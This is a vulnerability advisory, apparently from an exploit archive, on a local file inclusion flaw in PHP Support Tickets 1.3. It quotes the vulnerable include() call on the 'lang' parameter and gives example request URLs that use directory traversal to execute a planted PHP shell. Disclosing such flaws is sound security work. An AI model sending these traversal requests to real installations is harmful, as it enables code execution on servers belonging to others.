PHP Support Tickets version 1.3 suffers from a local file inclusion vulnerability.
c72382b048b49f629ff7f4c3d9f37efaDownload
PHP_S_Tickets_v1.3 File Inclusion Vulnerability
================================================
Discovered by N_A, N_A[at]tutanota.com
=======================================
Description
============
PHP Support Tickets; will allow a webmaster the ability to offer its user base a means to contact its personell through request vouchers.
https://sourceforge.net/projects/php-sup-tickets
Vulnerability
==============
The vulnerability resides inside the index.php file:
############ INCLUDE THE CONFIG, LANGUAGE AND HEADER FILE ############
A
include('config.php');
A
IF (!isset($_REQUEST['lang']))
A A A $_REQUEST['lang'] = $langdefault;
A
include('language/'.$_REQUEST['lang'].'.php');
A
include('header.php');
We can establish that we have direct control over the 'lang' variable by either POST, GET or COOKIE method as this is allowed by PHP.
By default PHP has allow_url_include disabled inside php.ini so RFI may not be possible.
Exploitation
=============
It is possible to execute *any* php file on the server and possibly other vhosts inside the /var/ directory or where other vhosts reside. Any php file will be executed by issuing the correct request i.e a correct directory with the php file inside that you wish to execute.
Example:
http://127.0.0.1/PHP_S_Tickets_v1.3/index.php?lang=/path/to/phpfile
http://127.0.0.1/PHP_S_Tickets_v1.3/index.php?lang=../../../../../../tmp/phpshell
*NOTE - do not issue the request for phpshell.php as the code in the file attaches .php to the end of the requested file so the file name is needed with out the .php extension.
i.eA index.php?../indexA A A A - will open and execute index.php
Email
======
N_A[at]tutanota.com
--
Securely sent with Tutanota. Claim your encrypted mailbox today!
https://tutanota.com